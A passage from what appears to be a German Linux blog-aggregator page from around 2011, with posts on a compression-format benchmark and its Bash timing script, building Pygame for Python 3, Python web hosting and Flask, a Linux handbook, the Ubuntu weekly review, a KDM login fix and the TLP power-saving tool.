Dieser Benchmark wurde auf einem mobilen Computer mit Intel Core 2 Duo P8400-Prozessor (2,26 Ghz) auf einer tmpfs-Partition ausgeführt. Eine solche RAM-Partition liest und speichert Dateien nicht auf einer Festplatte, sondern dem Arbeitsspeicher. Somit konnte ich langsame Schreiboperationen vermeiden. Das Betriebssystem ist Ubuntu 10.10 Maverick mit Ubuntu-Kernel 2.6.35-24-generic.

Die Methode

Zum Hauptthema, dem Vergleich der einzelnen Verfahren. Untersucht wurden zwei Eigenschaften: die benötigte Zeit zum Packen der Dateien (Geschwindigkeit) und die letztendliche Größe des entstandenen Archivs (Kompressionsgrad). Wie gesagt, um das Ubuntu-Standardverfahren zu erhalten, wurde file-roller aufgerufen. Die Dauer wurde (nach Anlaufschwierigkeiten) mit time ermittelt. Um leichte Schwankungen auszugleichen, muss jeder Algorithmus fünfmal ran. Diese Arbeit erledigt ein selbstgeschriebenes Bash-Script für mich.

#!/bin/bash 
#analyze time needed to compress data with several compression algorithms 
#using file-roller and time 
 
ARCHIVES='7z tar.bz2 tar.gz zip' 
INPUT='data/' 
MAXITER=5 
TIMEOPTS='-a -o stat -f "%C\t%e"' 
 
for (( I=1; $I <= $MAXITER; I++ )) 
do 
	for TYPE in $ARCHIVES; do 
		echo "Round #$I compressing $TYPE..."
		/usr/bin/time $TIMEOPTS file-roller -a archive$I.$TYPE $INPUT 
	done 
	echo '---' 
done

Die Variable $ARCHIVES enthält die zu nutzenden Algorithmen, $INPUT die Quelldaten, während $MAXITER die Anzahl an Durchgängen bestimmt und $TIMEOPTS die Optionen für time festlegt. In meinem Fall wird hier die Zeitmessung in eine Datei stat geschrieben und fortlaufend ergänzt (-a) und zwar in meinem bestimmten Format, bestehend aus dem ausgeführten Befehl, einem Tabulator und der effektiven Zeit. (Sämtliche Formatierungen finden sich in der man-page von time.)

So viel zur Geschwindigkeit. Der zweite Aspekt, der Kompressionsgrad, wurde anschließend mit

ls -l

bestimmt.

Das Ergebnis

Kommen wir nun endlich zum Ergebnis des Tests.
7z: 7,4; bz2: 6,1; gz: 4,9; zip: 3,4 (mal kleiner als Originaldateien) 7z: 107s; bz2: 76s; gz: 16s; zip: 36s

Damit lassen sich folgende Schlüsse aus den Daten ziehen:

  • 7z bietet die beste Leistung, dauert aber auch am längsten.
  • ZIP lohnt sich nicht. gz ist deutlich schneller und komprimiert besser.
  • bz2 erweist sich als schlechter Kompromiss aus 7z und gz, denn je nach Geschwindigkeits- oder Leistungspräferenz bieten sich eher die Konkurrenten an.

Persönliche Einschätzung

Ich muss sagen, für mich brachte der Test neue Erkenntnisse. Während ich bisher Dateien häufig mit bz2 komprimierte, werde ich jetzt wohl so oft wie möglich auf gz vertrauen, weil es die Daten schon recht effizient stauchen kann. Nur in den Fällen, wo eine möglichst starke Kompression vonnöten ist, wird 7z weiterhin mein Favorit bleiben. Zu ZIP bleibt dann nicht mehr viel zu sagen, nur, dass ich hoffe, diesen Quasi-Standard (ähnlich MP3) langsam aber sicher vom digitalen Spielfeld/aus dem Internet verschwinden zu sehen.

Eine kleine Anmerkung zu gz: Als einziges der getesteten Verfahren ist gz nicht „md5sum-sicher“, d. h. allein anhand eines veränderten MD5-Hashes lässt sich nicht darauf schließen, ob die Daten im Archiv verändert wurden oder identisch sind.

Download

Hier gibt es die Rohdaten und das Bash-Script zum Download.
compresstest.sh (399B text/x-shellscript) oder
compresstest.sh.gz (319B application/x-gzip)
comprtest_output.txt (1,4KB text/plain) oder
comprtest_output.txt.gz (321B application/x-gzip)

Nachtrag

→ Beachten Sie auch den anschließenden Kurztest des vielversprechenden Kompresssionsverfahrens LZO.

Update am 06.01.2011 13:50

4. Januar 2011

Da Pygame zwar für Python 2.6.5 aber nicht für Python 3 bei Ubuntu 10.04 Lucid oder 10.10 Maverick in den Paketquellen vorhanden ist, muss man Pygame für die aktuellste Python-Version selber installieren. Damit das funktioniert, benötigt man aber noch das ein oder andere Softwarepaket.

sudo apt-get install python3-dev libsdl-image1.2-dev libsdl-mixer1.2-dev libsdl-ttf2.0-dev libsdl1.2-dev libsmpeg-dev python-numpy subversion libportmidi-dev build-essential

Sollte es bei der Installation Probleme geben, insbesondere bei python3-dev, fehlen vermutlich zwei Repositories in der Konfigurationsdatei /etc/apt/sources.list. Die kann man entweder mit dem Lieblingseditor für Lucid hinzufügen

deb http://security.ubuntu.com/ubuntu/ lucid-security restricted main multiverse universe
deb http://de.archive.ubuntu.com/ubuntu/ lucid-updates restricted main multiverse universe

(falls man Maverick benutzt, muss man lucid halt durch maverick ersetzen), oder man setzt einfach zwei Haken in der Paketverwaltung Synaptic unter Einstellungen -> Paketquellen im Reiter Aktualisierungen:

Danach muss man noch seine Paketquellen aktualisieren und eventuell updaten, was im Terminal so geht:

sudo apt-get update && sudo apt-get dist-upgrade

Jetzt sollte die Installation reibungslos funktionieren, und man kann mit Pygame für Python 3 weiter machen, indem man die aktuelle Version vom Server mit Hilfe von Subversion herunterlädt:

svn co svn://seul.org/svn/pygame/trunk pygame

Anschließend wechselt man ins neu erstellte Verzeichnis pygame, um zu kompilieren, und um die Installation zu starten:

cd pygame
python3 setup.py build
sudo python3 setup.py install

Wenn man wissen will, ob alles geklappt hat, startet man Python 3 am besten im Terminal und importiert spaßeshalber einmal Pygame:

$ python3
Python 3.1.2 (r312:79147, Apr 15 2010, 12:35:07) 
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pygame
>>> pygame.ver
'1.9.2pre'

Und schon ist man im Besitz der aktuellsten Pygame-Version für Python 3 unter Ubuntu.

Wer eine eigene Webseite programmieren will hat normalerweise die Wahl zwischen PHP, PHP oder PHP. Die meisten Provider bieten nur die klassischen LAMP Server an, also Linux, Apache, MySql und PHP. Bei einigen Providern findet man vielleicht noch Ruby on Rails oder ASP bzw ASP.NET.

Python eignet sich jedoch auch hervorragend für die Entwicklung von Webseiten. Viele Provider können zwar Python Scripte ausführen, jedoch ist die Python Version meist veraltet, es gibt nur die wichtigsten Pakete und normalerweise lässt sich Python nur über die CGI Schnittstelle ausführen. Die ist aber extrem langsam und damit denkbar ungeeignet. Damit man Python sinnvoll nutzen kann sollte der Provider eine möglichst aktuelle Python Version (mindestens 2.5, besser 2.6, 3.x ist nur bedingt zu empfehlen) anbieten und als Schnittstelle mod_python, FastCGI oder, richtig optimal, mod_wsgi verwenden.

Python Hosting

Der ideale Python Hoster bietet also Python 2.6 oder sogar 2.7, als Schnittstelle mindestens FastCGI oder besser WSGI, möglichst viele Python Pakete und die Option, auf Wunsch fehlende Pakete nachzuinstallieren und als Datenbankserver MySQL oder Postgresql. Eine Liste von Shared Hostern findet man im Python Wiki.

Eine andere Möglichkeit für das Python Hosting ist natürlich ein eigener Server. Das sollte allerdings nur der tun, wer sich wirklich damit auskennt, da solche vHosts gerne vernachlässigt werden und schnell zu Spam Schleudern mutieren.

Ich persönlich habe einen Account bei Raumopol. Der Hoster bietet neben PHP auch Python 2.6 und FastCGI. Zusätzlich zu der sonst üblichen MySQL Datenbank bekommt man auch Postgresql und sogar CouchDB. Auf Wunsch lassen sich fehlende Python Pakete nachinstallieren. Wer Django verwenden möchte findet auch spezialisierte Django Hoster.

Python Webframeworks

Die Webentwicklung mit Python läuft anfangs etwas anders ab als bei PHP. Es reicht nicht, einfach eine index.php zu erstellen. Man muss direkt mit der CGI Schnittstelle (oder genauer mit WSGI) arbeiten.

Um das zu vermeiden verwendet man ein Framework, von denen es für Python inzwischen auch eine ganze Menge gibt. Das bekannteste dürfte Django sein. Man kann es mit PHP Frameworks wie CakePHP vergleichen. Es bringt viele Funktionen schon mit, darunter sogar die automatische Generierung eines Admin Interfaces. Ein ebenfalls großes und bekanntes Framework ist Zope.

Ein Vertreter der sogenannten Micro Frameworks ist Bottle. Bottle besteht nur aus einer einzigen Datei und hat außer Python keine weiteren Abhängigkeiten. Trotzdem bietet Bottel eine eigene Template Engine, URL Routing und Caching. Eine umfangreiche Liste von Python Webframeworks findet man hier.

Alle Frameworks nehmen einem die lästige Arbeit ab, direkt mit CGI oder WSGI zu arbeiten.

Flask

Ein Webframework möchte ich genauer vorstellen, und das ist Flask. Flask zählt zu den Microframeworks. Es bietet, ähnlich wie Bottle, einige Grundfunktionen wie URL Routing. Im Gegensatz zu Bottle besteht Flask jedoch nicht aus einer einzelnen Datei sondern baut auf Werkzeug auf, dem eigentliche WSGI Wrapper. Als Template Engine kommt standardmäßig Jinja2 zum Einsatz, lässt sich jedoch leicht gegen andere austauschen.

Ein Vorteil von Flask zum Beispiel gegenüber Django liegt in der Flexibilität. Django bietet viele Funktionen ab Werk, wie eine eigene Template Engine oder einen ORM für die Datenbank. Es ist jedoch schwierig bis unmöglich, die Funktionen gegen andere auszutauschen. Im Vergleich zu Bottle ist Flask jedoch deutlich umfangreicher und es gibt bereits einige Extensions, die die Arbeit deutlich vereinfachen.

Der Vorteil praktisch aller Python Webframeworks, und damit auch von Flask, gegenüber den einfachen PHP Entwicklung ist der mitgelieferte Webserver. Während der Entwicklungsphase kann man weitestgehend auf einen richtigen Webserver wie Apache verzichten. Es reicht ein einfaches Script.

Am einfachsten installieren lässt sich Flask, wie die meisten Python Pakete, mit easy_install. Unter Ubuntu installiert man es mit

sudo apt-get install python-setuptools

Anschließend installiert man Flask mit dem Befehl

sudo easy_install flask

Die Abhängigkeiten werden automatisch installiert und auf diesem Weg lassen sich auch viele weitere Pakete installieren.

Um Konflikte zwischen unterschiedlichen Paketversionen zu vermeiden empfiehlt es sich, jedes Projekt in eine spezielle virtuelle Umgebung zu packen. Einen guten Einstieg bietet das Flask Tutorial.

Warum Python?

Es gibt verschiedene Gründe, Python den Vorzug vor PHP zu geben. So ist Python von Anfang an eine echte objektorientierte Programmiersprache gewesen. PHP hat sich, historisch bedingt, anders entwickelt und das merkt man häufig bis heute. Python lässt sich auch außerhalb der Webentwicklung einsetzen und es gibt eine umfangreiche Klassenbibliothek. Für PHP gibt es inzwischen auch Bestrebungen, PHP für Desktop Anwendungen fit zu machen wie zum Beispiel mit GTK-PHP. Verglichen mit den Möglichkeiten von Python ist das jedoch eher vernachlässigbar. Das Anwendungsgebiet von Python erstreckt sich von einfachen Scripts über die Webentwicklung bis hin zu komplexen Desktop Anwendungen wie Tryton.

Und genau das ist auch bei mir der ausschlaggebende Grund gewesen. Mir fehlt die Zeit, mir für jeden Anwendungsfall die optimale Sprache zu suchen und zu erlernen. Zumindest um sie so zu lernen das ich sie sinnvoll beherrsche. Statt dessen konzentriere ich mich lieber auf eine Sprache, mit der ich möglichst viele Anwendungsfälle abdecken kann. Und das ist in meinem Fall Python.

Übrigens: ubuntuusers.de ist ebenfalls in Python geschrieben. Bei der aktuellen Version wird größtenteils noch Django verwendet. Die in der Entwicklung befindliche Version basiert vollständig auf Werkzeug, worauf ja auch Flask aufbaut. Python taugt also auch für Projekte in dieser Größenordnung.

Das Buch “Linux – das umfassende Handbuch” ist als OpenBook und als gedrucktes Buch erweitert und aktualisiert worden. Das Werk ist mit 1302 Seiten ziemlich umfangreich und für den einen oder anderen sicherlich interessant, auch wenn es wohl – wenn man nach den Bewertungen bei Amazon geht – nicht mit Linux 2011 von Michael Kofler mithalten kann. Hier noch ein Auszug aus der Amazon Produktbeschreibung:

[...] Es erklärt, wie man Linux als leistungsstarke Workstation nutzen kann und widmet sich ausführlich professionelleren Themen wie Administration des Systems, Shell, Netzwerkkonfiguration und Sicherheit. [...] Das Buch ist konsequent praxisnah geschrieben, immer verständlich und sehr gründlich in der Behandlung aller Themen.[...]

Das ganze kann man hier online lesen oder auch als 15,7 MB großes zip-Archiv herunterladen. Dem gedruckten Buch liegen 2 DVDs mit ingesamt 6 Linux-Distributionen bei.

flattr this!

Zum Glück widerstehen die guten Dinge den dunklen Drohungen seitens des Gevatters Tod. (Ich bin mir nicht sicher, ob es des Gevatter Todes oder des Gevatters Tod heisst.) So auch der legendäre Ubuntu-Wochenrückblick, der ja dem Tod schon einige Male direkt in das Auge geschaut und sich erfolgreich davon angewendet hat. Mit dem Wiederauferstehen des UWR sind auch einige Neuigkeiten darin zu vermelden. So heisst es im aktuellen UWR unter dem Titel „In eigener Sache“:

Wieder haben einige Änderungen ihren Weg in den UWR gefunden. Diese „experimentellen Änderungen“ sind jedoch noch kein fester Bestandteil des UWR. Deshalb (und um weitere mögliche Änderungen zu ergünden) möchten wir die interessierten Leser und Leserinnen bitten, sich an der Diskussion zur Verbesserung des UWR zu beteiligen. Hier werden noch bis Montag, den 10.Januar 2011 Vorschläge gesammelt, über die anschließend abgestimmt wird. Ein entsprechender Aufruf wird im UWR 02-2011 folgen.

Aufrufen möchten wir euch schon jetzt am UWR mitzuarbeiten. Ob es die Überprüfung oder Korrektur eines Satzes ist oder ob ihr eine Neuigkeit hinzufügt ist gleichwertig. Wichtig ist jedoch, dass ihr am UWR mitarbeitet (und seien es nur wenige Sekunden, die ihr damit verbringt). Er ist ein Gemeinschaftsobjekt und lebt nur von der Community – also nur von euch. Lasst euch im Übrigen nicht von den Neuerungen ablenken, der Hauptteil des UWR sollen immer noch die Meldungen rund um Ubuntu und Linux sein.

Vielleicht kann ich auch dieses oder jenes Mal meinen Beitrag dazu leisten. Wer sich daran beteiligen möchte, findet hier die nötigen Informationen dazu. Immerhin ist mit dem Weiterführen des UWR nun auch gesichert, dass RadioTux seine Weekly-News aus dem Bereich Ubuntu weiter präsentieren kann. Das freie Radio darf die Inhalte vom UWR per Lautsprache weiter verbreiten. Und das machen wir bei RadioTux schon seit bald zwei Jahren, nämlich seit der Kalenderwoche 15 vom Jahr 2009.

An dieser Stelle sende ich ein dickes und fettes Dankeschön an das UWR-Team. Schön, dass es weitergeht!

PDF-Datei dieses Artikels erzeugen

Ähnliche Artikel

Bei der Anmeldung an meinem Netbook gab es mit Kubuntu und KDM ein Problem. Nach der EIngabe des richtigen Passwortes verschwand der Dialog um knapp zwei Sekunden später wieder aufzutauchen. Bei mir half es die Rechte für /dev/null/ ordentlich mittels:
sudo chmod uga+rw /dev/null
zu setzen. Danach funktionierte die Anmeldung wieder tadellos.

Weitere Informationen gibt es unter:
http://forum.ubuntuusers.de/topic/kdm:-grafischer-login-nicht-mehr-moeglich/

Bei der Anmeldung an meinem Netbook gab es mit Kubuntu und KDM ein Problem. Nach der EIngabe des richtigen Passwortes verschwand der Dialog um knapp zwei Sekunden später wieder aufzutauchen. Bei mir half es die Rechte für /dev/null/ ordentlich mittels:

sudo chmod uga+rw /dev/null

zu setzen. Danach funktionierte die Anmeldung wieder tadellos.

Weitere Informationen gibt es unter:
http://forum.ubuntuusers.de/topic/kdm:-grafischer-login-nicht-mehr-moeglich/

Eigentlich war ich nur auf der Suche, wie ich bequem mein Bluetooth über Konsole ein- oder ausschalten konnte und bin dann wieder auf den Artikel „TLP - Stromspareinstellungen fuer Ubuntu“ vom thinkpad-wiki.org gestoßen.

TLP ist eine konfigurierbare Erweiterung des Powermanagements, das bei mir mit der Standardinstallation die Akkulaufzeit in der Langzeitschätzung von Powertop von 1,9 auf 3,3 Stunden schnellen ließ.

Das Schöne ist auch, dass man wifi/bluetooth/wwan per Konsole ein- oder ausschalten kann. Ebenso können über die Konsole adhoc Stromsparfunktionen ein- und ausgeschaltet werden. Selbst die Ultrabay bzw. das DVD Laufwerk ist abschaltbar.

Thinkpadbenutzer haben noch einen extra Schmankerl für ihren Akku. Für diesen können Ladeschwellen angegeben werden, oder der Akku auch mal komplett entladen werden.

Wer ein Thinkpad hat sollte noch das Paket tp-smapi-dkms installieren